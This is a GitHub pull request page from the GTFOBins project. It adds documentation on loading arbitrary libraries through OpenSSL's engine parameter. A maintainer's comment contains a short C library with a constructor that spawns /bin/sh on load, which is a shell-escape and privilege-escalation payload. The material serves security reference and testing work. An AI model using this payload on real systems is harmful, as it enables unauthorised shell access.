Skip to content

Add library load section to OpenSSL - #125

Merged
cyrus-and merged 2 commits into
GTFOBins:masterfrom
dozernz:master
Apr 12, 2020
Merged

Add library load section to OpenSSL#125
cyrus-and merged 2 commits into
GTFOBins:masterfrom
dozernz:master

Conversation

@dozernz

@dozernz dozernz commented Apr 12, 2020

Copy link
Copy Markdown
Contributor

Details on how to load arbitrary libraries through the OpenSSL engine parameter

dozernz and others added 2 commits April 12, 2020 18:35
Details on how to load arbitrary libraries through the engine parameter
@cyrus-and

Copy link
Copy Markdown
Member

There's no need of such complicated code, standard code with a __attribute__((constructor)) function is enough, so there's no need to include it.

#include <unistd.h>

__attribute__((constructor))
static void init() {
    execl("/bin/sh", "sh", NULL);
}

@cyrus-and
cyrus-and merged commit 041110d into GTFOBins:master Apr 12, 2020
@dozernz

dozernz commented Apr 12, 2020

Copy link
Copy Markdown
Contributor Author

I see, thanks for improving it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants